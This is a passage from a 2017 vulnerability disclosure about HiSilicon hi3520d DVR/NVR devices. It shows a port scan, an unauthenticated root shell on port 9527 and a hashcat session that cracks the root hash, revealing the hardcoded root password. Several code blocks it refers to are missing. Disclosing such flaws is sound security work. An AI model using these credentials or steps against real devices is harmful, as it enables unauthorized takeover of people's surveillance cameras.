Proof-of-concept exploit and vulnerability disclosure for HiSilicon hi3520d DVR/NVR devices. Demonstrates RCE via web interface, backdoor credentials, and buffer overflow analysis.
= HiSilicon DVR hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] This report discloses serious vulnerabilities (with proof of concept (PoC) code) of DVR/NVR devices built using the HiSilicon hi3520d and similar system on a chip (SoC). Exploiting the vulnerabilities lead to unauthorized remote code execution (RCE) using only the web interface, causing full takeover of the exploited device. Due to lack of upgraded firmwares, using these devices is not recommended. Contacted the vendor before Dec 2016, but still no response. The release date of the disclosure is Feb 2017.
== preface
Couple of years ago I have bought a cheap Chinese DVR device on eBay. The boot logo of the device says: "SECULINK - Security Monitoring". As an IT security enthusiast, I decided to have a closer look of the device to see how "secure" that security monitoring service is. Googling about the topic I have found some interesting materials, but digged deeper, and found much more interesting and much more serious issues (0-days) about the device.
Let us have a look at the full hacking session from the beginning. (The new, own achievements will be noted as the old, known ones as well.)
== exploring the DVR
First we should learn the official user interface, then dig deeper, maybe try to obtain the firmware. The chances to find vulnerabilities increase with the firmware.
=== the DVR at a first glance
The DVR device intented for testing is branded as "Seculink".
image::./seculink_device.png[Seculink DVR device]
Available physical interfaces:
Official user interfaces:
The directly accessible setup interface is restricted by user authentication (username, password). Default superuser is 'admin', default password is blank.
After setting up a strong password, the user may feel safe that his/her camera view is not accessible by others. People often forward the web port (tcp/80) of the DVR device to the WAN side from their secure LAN in order to access the DVR streams from outside (we may check this e.g. by a suitable Shodan search ;) ).
=== obtaining the firmware
There may be lot of ways for getting the firmware:
Although the latter (download) method is working here and it is the easiest, let us try the first one, because it gives other information about the device, too.
=== service scanning
Let us do a full port scan on the DVR. Note, that the (default if run by root) SYN scan is very slow because dropped packets, but the full TCP connect scan finishes in a couple of minutes.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Summarizing and manual testing:
Note, that opening the rtsp stream requires credentials as well.
Here we should state that the device is probably some Linux-like system.
Connecting to 9527/tcp (by raw netcat) shows the application console
with logging messages and a login prompt. Logging in with any of the
defined application credentials is working. Issuing help after the
prompt gives a short description of the console commands. The command
shell seems to be the most interesting. Yes, it gives a root shell to
the devices. ;)
Note, that this is obviously a serious security issue, because any (low privileged) application user should not get a root shell on the device automatically.
=== root shell
Exploring the device in the root shell (e.g. by dmesg) makes it
obvious that the DVR is running a Linux kernel (version 3.0.8), it has
an ARMv7 CPU, the SoC model is hi3520d.
From the list of running processes (ps) it is clear that the DVR
application is /var/Sofia, which is listening on 34568/udp and
34569/udp as well besides the above tcp ports detected by nmap
(netstat -nlup).
From the list of mounted disks (mount command), it is clear that the
firmware image is in the /dev/mtdblockX devices (where X=0,1,2,3,4,5).
The firmware is small and therefore restricted, so we should be creative if we want to copy files to/from the device. Fortunately NFS is supported, so setting up an NFS server on our desktop machine and mounting it from the DVR solves the problem:
Now obtaining the firmware is straightforward:
We may get the files (not just the raw images):
=== telnet interface
For accessing the device through the telnet interface (port 23/tcp), we
may need some OS credentials. Looking at /etc/passwd we have the
password hash for the root user:
Note, that there is no other user than root, everything is running with full privileges. (So if someone breaks into the device somehow, there is no barrier, the attacker gains full power immediately.)
Assuming a six-char alphanum (lowercase) password, hashcat cracks the above weak DES hash quickly:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
